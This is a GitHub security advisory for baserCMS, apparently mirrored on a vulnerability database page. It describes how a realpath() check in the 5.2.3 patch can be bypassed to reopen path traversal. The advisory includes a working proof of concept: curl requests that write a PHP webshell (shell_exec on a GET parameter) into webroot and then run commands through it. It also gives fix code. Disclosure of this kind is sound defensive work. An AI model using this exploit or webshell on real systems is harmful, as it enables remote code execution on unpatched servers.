GHSA-2PJ4-V76F-WJVX
Vulnerability from github – Published: 2026-11-20 00:17 – Updated: 2026-11-20 00:17Summary
The security patch introduced in baserCMS 5.2.3 to address CVE-2026-30940 / GHSA-c5c6-37vq-pjcq is incomplete. The patch added a realpath()-based directory traversal check in BcThemeFileService::getFullpath(), but the check is entirely skipped when realpath($baseDir) returns false — which occurs whenever the target subdirectory does not physically exist on disk.
An authenticated administrator can bypass the patch by supplying a type value (e.g., js) that maps to a non-existent directory in the theme. The absence of the directory causes realpath() to return false, the validation block is skipped, and the raw path parameter containing ../ sequences is returned unvalidated. This enables arbitrary file write and remote code execution (RCE) — the exact same impact as the original CVE.
This vulnerability was verified exploitable on baserCMS 5.2.3 (the "patched" version of CVE-2026-30940).
Details
The vulnerability exists in BcThemeFileService::getFullpath() at plugins/bc-theme-file/src/Service/BcThemeFileService.php lines 70–82:
public function getFullpath(string $theme, string $plugin, string $type, string $path)
{
// ...build $baseDir and $fullPath from $theme, $type, $path...
$baseDir = $viewPath . $type . DS; // e.g. .../BcThemeSample/webroot/js/
$fullPath = $baseDir . $path; // e.g. .../webroot/js/../../../../webroot/
$resolvedBase = realpath($baseDir);
if ($resolvedBase !== false) { // ← BYPASS: entire block skipped when dir absent
$resolvedBase = rtrim($resolvedBase, DS) . DS;
$targetDir = realpath(dirname($fullPath));
if ($targetDir === false) {
$targetDir = $this->normalizePath(dirname($fullPath));
}
if (!str_starts_with(rtrim($targetDir, DS) . DS, $resolvedBase)) {
throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));
}
}
return $fullPath; // ← Returns unvalidated path when realpath returns false
}
Root cause — the bypass condition:
realpath($baseDir) result |
Behavior |
|---|---|
| Valid path string (dir exists) | Validation runs → ../ traversal blocked ✓ |
false (dir does not exist) |
Validation skipped entirely → ../ traversal allowed ✗ |
Difference from CVE-2026-30940 (original bug):
| CVE-2026-30940 (≤ 5.2.2) | This bypass (5.2.3) | |
|---|---|---|
| Validation | None at all | realpath() check — but conditional |
type needed |
Any valid type (layout, cell, …) |
Must map to a non-existent subdirectory |
path blocked |
Never | Only when target dir already exists |
| Root cause | Missing validation | if ($resolvedBase !== false) skips false case |
PoC
Prerequisites:
- baserCMS 5.2.3 (the officially patched version of CVE-2026-30940)
- Admin credentials
- USE_CORE_ADMIN_API=true in .env
- BcThemeFile plugin installed and BcThemeSample theme loaded
Step 1 — Login and obtain JWT token:
curl -s -X POST "http://localhost/baser/api/admin/baser-core/users/login.json" \
-H "Content-Type: application/json" \
-d '{"email":"admin@example.com","password":"password"}'
# Response: {"access_token":"eyJ0eXA...","refresh_token":"eyJ0eXA..."}
Step 2 — Verify bypass condition (webroot/js/ must not exist):
The bypass requires type=js to map to a non-existent directory. Confirm:
# webroot/js/ does NOT exist → realpath() returns false → validation SKIPPED
ls plugins/BcThemeSample/webroot/
# Expected output: css img (no js/)
Step 3 — Exploit: write PHP webshell directly to webroot:
Path calculation from baseDir = .../BcThemeSample/webroot/js/:
- js/ (1 up) → webroot/
- webroot/ (2 up) → BcThemeSample/
- BcThemeSample/ (3 up) → plugins/
- plugins/ (4 up) → /var/www/html/ + webroot/
- Result: ../../../../webroot/ → /var/www/html/webroot/
TOKEN="eyJ0eXA..." # from step 1
curl -s -X POST "http://localhost/baser/api/admin/bc-theme-file/theme_files/add.json" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"theme": "BcThemeSample",
"plugin": "",
"type": "js",
"path": "../../../../webroot/",
"base_name":"rce_direct",
"ext": "php",
"contents": "<?php echo shell_exec($_GET[\"c\"]); ?>"
}'
# Response: HTTP 200 {"message":"ファイル「rce_direct.php」を作成しました。",...}
Step 4 — Execute RCE:
curl "http://localhost/rce_direct.php?c=id"
# Output: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
Verified output (Docker, baserCMS 5.2.3):
=RCE_DIRECT=uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
Impact
An authenticated administrator can achieve remote code execution by writing an arbitrary PHP file to any directory accessible by the web server — including webroot/, config/, or tmp/. This is the identical impact as CVE-2026-30940, rendering the 5.2.3 patch ineffective.
The vulnerability is particularly significant because:
- Patch bypass: Operators and users who upgraded to 5.2.3 specifically to address CVE-2026-30940 remain vulnerable.
- Arbitrary directory write: The bypass allows writing to
webroot/(directly HTTP-accessible),config/(application configuration), or any other directory writable by the PHP process. - File deletion and overwrite: Beyond RCE, the attacker can delete or overwrite critical files, causing denial of service or persistent backdoors.
- One-shot per non-existent directory: The exploit creates the target directory as a side effect. Rotating to other unused
typevalues (e.g.,font,audio, any arbitrary string) restores the bypass condition.
CVSS v3.1: AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H — Score: 7.2 (High)
Same as CVE-2026-30940 — attack complexity is unchanged by the incomplete patch.
Recommended Fix
The patch must validate the path unconditionally, regardless of whether $baseDir exists on disk. Replace the realpath()-conditional block with normalizePath() (already defined in the same class):
// CURRENT (vulnerable — skips validation when $baseDir does not exist)
$resolvedBase = realpath($baseDir);
if ($resolvedBase !== false) {
// ... validation only runs here ...
}
return $fullPath;
// FIXED — always validate using normalizePath()
$normalizedBase = rtrim($this->normalizePath($baseDir), DS) . DS;
$normalizedTarget = rtrim($this->normalizePath(dirname($fullPath)), DS) . DS;
if (!str_starts_with($normalizedTarget, $normalizedBase)) {
throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));
}
return $fullPath;
Additionally, the path and ext parameters should be validated at the API controller layer:
// In ThemeFilesController — validate before calling getFullpath()
if (preg_match('/\.\./', $data['path'])) {
throw new BcException('Invalid path parameter.');
}
if (!preg_match('/^[a-zA-Z0-9]+$/', $data['ext'])) {
throw new BcException('Invalid extension.');
}
References
- GHSA-c5c6-37vq-pjcq — Original CVE-2026-30940 advisory
- CWE-22: Path Traversal
- CWE-706: Use of Incorrectly-Resolved Name or Reference
- OWASP Path Traversal
plugins/bc-theme-file/src/Service/BcThemeFileService.php—getFullpath(), lines 70–82plugins/bc-theme-file/src/Form/ThemeFileForm.php—_execute(), lines 64–69plugins/bc-theme-file/src/Controller/Api/Admin/ThemeFilesController.php—add(), lines 38–60
Attribution
Reported by Nguy Minh Tuan of Sun* Cyber Security Research Team.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "baserproject/baser-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62955"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-20T00:17:47Z",
"nvd_published_at": "2026-11-19T21:18:03Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe security patch introduced in baserCMS 5.2.3 to address CVE-2026-30940 / [GHSA-c5c6-37vq-pjcq](https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq) is **incomplete**. The patch added a `realpath()`-based directory traversal check in `BcThemeFileService::getFullpath()`, but the check is **entirely skipped** when `realpath($baseDir)` returns `false` \u2014 which occurs whenever the target subdirectory does not physically exist on disk.\n\nAn authenticated administrator can bypass the patch by supplying a `type` value (e.g., `js`) that maps to a non-existent directory in the theme. The absence of the directory causes `realpath()` to return `false`, the validation block is skipped, and the raw `path` parameter containing `../` sequences is returned unvalidated. This enables arbitrary file write and remote code execution (RCE) \u2014 the exact same impact as the original CVE.\n\n**This vulnerability was verified exploitable on baserCMS 5.2.3 (the \"patched\" version of CVE-2026-30940).**\n\n### Details\n\nThe vulnerability exists in `BcThemeFileService::getFullpath()` at [`plugins/bc-theme-file/src/Service/BcThemeFileService.php` lines 70\u201382](https://github.com/baserproject/basercms/blob/5.2.x/plugins/bc-theme-file/src/Service/BcThemeFileService.php#L70):\n\n```php\npublic function getFullpath(string $theme, string $plugin, string $type, string $path)\n{\n // ...build $baseDir and $fullPath from $theme, $type, $path...\n $baseDir = $viewPath . $type . DS; // e.g. .../BcThemeSample/webroot/js/\n $fullPath = $baseDir . $path; // e.g. .../webroot/js/../../../../webroot/\n\n $resolvedBase = realpath($baseDir);\n if ($resolvedBase !== false) { // \u2190 BYPASS: entire block skipped when dir absent\n $resolvedBase = rtrim($resolvedBase, DS) . DS;\n $targetDir = realpath(dirname($fullPath));\n if ($targetDir === false) {\n $targetDir = $this-\u003enormalizePath(dirname($fullPath));\n }\n if (!str_starts_with(rtrim($targetDir, DS) . DS, $resolvedBase)) {\n throw new BcException(__d(\u0027baser_core\u0027, \u0027\u30d1\u30b9\u306b\u30c6\u30fc\u30de\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5916\u3078\u306e\u53c2\u7167\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u0027));\n }\n }\n\n return $fullPath; // \u2190 Returns unvalidated path when realpath returns false\n}\n```\n\n**Root cause \u2014 the bypass condition:**\n\n| `realpath($baseDir)` result | Behavior |\n|-----------------------------|----------|\n| Valid path string (dir **exists**) | Validation runs \u2192 `../` traversal **blocked** \u2713 |\n| `false` (dir does **not** exist) | Validation **skipped entirely** \u2192 `../` traversal **allowed** \u2717 |\n\n**Difference from CVE-2026-30940 (original bug):**\n\n| | CVE-2026-30940 (\u2264 5.2.2) | This bypass (5.2.3) |\n|--|--|--|\n| Validation | None at all | `realpath()` check \u2014 but conditional |\n| `type` needed | Any valid type (`layout`, `cell`, \u2026) | Must map to a **non-existent** subdirectory |\n| `path` blocked | Never | Only when target dir already exists |\n| Root cause | Missing validation | `if ($resolvedBase !== false)` skips false case |\n\n### PoC\n\n**Prerequisites:**\n- baserCMS 5.2.3 (the officially patched version of CVE-2026-30940)\n- Admin credentials\n- `USE_CORE_ADMIN_API=true` in `.env`\n- BcThemeFile plugin installed and BcThemeSample theme loaded\n\n**Step 1 \u2014 Login and obtain JWT token:**\n\n```bash\ncurl -s -X POST \"http://localhost/baser/api/admin/baser-core/users/login.json\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"email\":\"admin@example.com\",\"password\":\"password\"}\u0027\n# Response: {\"access_token\":\"eyJ0eXA...\",\"refresh_token\":\"eyJ0eXA...\"}\n```\n\n**Step 2 \u2014 Verify bypass condition (webroot/js/ must not exist):**\n\nThe bypass requires `type=js` to map to a non-existent directory. Confirm:\n\n```bash\n# webroot/js/ does NOT exist \u2192 realpath() returns false \u2192 validation SKIPPED\nls plugins/BcThemeSample/webroot/\n# Expected output: css img (no js/)\n```\n\n**Step 3 \u2014 Exploit: write PHP webshell directly to webroot:**\n\nPath calculation from `baseDir = .../BcThemeSample/webroot/js/`:\n- `js/` (1 up) \u2192 `webroot/`\n- `webroot/` (2 up) \u2192 `BcThemeSample/`\n- `BcThemeSample/` (3 up) \u2192 `plugins/`\n- `plugins/` (4 up) \u2192 `/var/www/html/` + `webroot/`\n- Result: `../../../../webroot/` \u2192 `/var/www/html/webroot/`\n\n```bash\nTOKEN=\"eyJ0eXA...\" # from step 1\n\ncurl -s -X POST \"http://localhost/baser/api/admin/bc-theme-file/theme_files/add.json\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"theme\": \"BcThemeSample\",\n \"plugin\": \"\",\n \"type\": \"js\",\n \"path\": \"../../../../webroot/\",\n \"base_name\":\"rce_direct\",\n \"ext\": \"php\",\n \"contents\": \"\u003c?php echo shell_exec($_GET[\\\"c\\\"]); ?\u003e\"\n }\u0027\n# Response: HTTP 200 {\"message\":\"\u30d5\u30a1\u30a4\u30eb\u300crce_direct.php\u300d\u3092\u4f5c\u6210\u3057\u307e\u3057\u305f\u3002\",...}\n```\n\n**Step 4 \u2014 Execute RCE:**\n\n```bash\ncurl \"http://localhost/rce_direct.php?c=id\"\n# Output: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)\n```\n\n**Verified output (Docker, baserCMS 5.2.3):**\n\n```\n=RCE_DIRECT=uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)\n```\n### Impact\n\nAn authenticated administrator can achieve remote code execution by writing an arbitrary PHP file to any directory accessible by the web server \u2014 including `webroot/`, `config/`, or `tmp/`. This is the identical impact as CVE-2026-30940, rendering the 5.2.3 patch ineffective.\n\nThe vulnerability is particularly significant because:\n\n1. **Patch bypass:** Operators and users who upgraded to 5.2.3 specifically to address CVE-2026-30940 remain vulnerable.\n2. **Arbitrary directory write:** The bypass allows writing to `webroot/` (directly HTTP-accessible), `config/` (application configuration), or any other directory writable by the PHP process.\n3. **File deletion and overwrite:** Beyond RCE, the attacker can delete or overwrite critical files, causing denial of service or persistent backdoors.\n4. **One-shot per non-existent directory:** The exploit creates the target directory as a side effect. Rotating to other unused `type` values (e.g., `font`, `audio`, any arbitrary string) restores the bypass condition.\n\n**CVSS v3.1:** `AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` \u2014 Score: **7.2 (High)** \nSame as CVE-2026-30940 \u2014 attack complexity is unchanged by the incomplete patch.\n\n### Recommended Fix\n\nThe patch must validate the path **unconditionally**, regardless of whether `$baseDir` exists on disk. Replace the `realpath()`-conditional block with `normalizePath()` (already defined in the same class):\n\n```php\n// CURRENT (vulnerable \u2014 skips validation when $baseDir does not exist)\n$resolvedBase = realpath($baseDir);\nif ($resolvedBase !== false) {\n // ... validation only runs here ...\n}\nreturn $fullPath;\n\n// FIXED \u2014 always validate using normalizePath()\n$normalizedBase = rtrim($this-\u003enormalizePath($baseDir), DS) . DS;\n$normalizedTarget = rtrim($this-\u003enormalizePath(dirname($fullPath)), DS) . DS;\n\nif (!str_starts_with($normalizedTarget, $normalizedBase)) {\n throw new BcException(__d(\u0027baser_core\u0027, \u0027\u30d1\u30b9\u306b\u30c6\u30fc\u30de\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5916\u3078\u306e\u53c2\u7167\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u0027));\n}\nreturn $fullPath;\n```\n\nAdditionally, the `path` and `ext` parameters should be validated at the API controller layer:\n\n```php\n// In ThemeFilesController \u2014 validate before calling getFullpath()\nif (preg_match(\u0027/\\.\\./\u0027, $data[\u0027path\u0027])) {\n throw new BcException(\u0027Invalid path parameter.\u0027);\n}\nif (!preg_match(\u0027/^[a-zA-Z0-9]+$/\u0027, $data[\u0027ext\u0027])) {\n throw new BcException(\u0027Invalid extension.\u0027);\n}\n```\n\n### References\n\n- [GHSA-c5c6-37vq-pjcq \u2014 Original CVE-2026-30940 advisory](https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq)\n- [CWE-22: Path Traversal](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-706: Use of Incorrectly-Resolved Name or Reference](https://cwe.mitre.org/data/definitions/706.html)\n- [OWASP Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n- `plugins/bc-theme-file/src/Service/BcThemeFileService.php` \u2014 `getFullpath()`, lines 70\u201382\n- `plugins/bc-theme-file/src/Form/ThemeFileForm.php` \u2014 `_execute()`, lines 64\u201369\n- `plugins/bc-theme-file/src/Controller/Api/Admin/ThemeFilesController.php` \u2014 `add()`, lines 38\u201360\n\n### Attribution\nReported by Nguy Minh Tuan of Sun* Cyber Security Research Team.",
"id": "GHSA-2pj4-v76f-wjvx",
"modified": "2026-11-20T00:17:47Z",
"published": "2026-11-20T00:17:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/baserproject/basercms/security/advisories/GHSA-2pj4-v76f-wjvx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62955"
},
{
"type": "WEB",
"url": "https://github.com/baserproject/basercms/commit/464227b8770704076ee6eddd4bd464c184786eca"
},
{
"type": "WEB",
"url": "https://github.com/baserproject/basercms/commit/c650017acf5dfbfd15eb2f3eda07967bcb002be2"
},
{
"type": "WEB",
"url": "https://github.com/baserproject/bc-theme-file/commit/a8f90096f13eca576a87cb25aa02e8f54642af7e"
},
{
"type": "PACKAGE",
"url": "https://github.com/baserproject/basercms"
},
{
"type": "WEB",
"url": "https://github.com/baserproject/basercms/releases/tag/5.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "baserCMS: Path Traversal Bypass via realpath() in BcThemeFileService (CVE-2026-30940 Patch Bypass)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.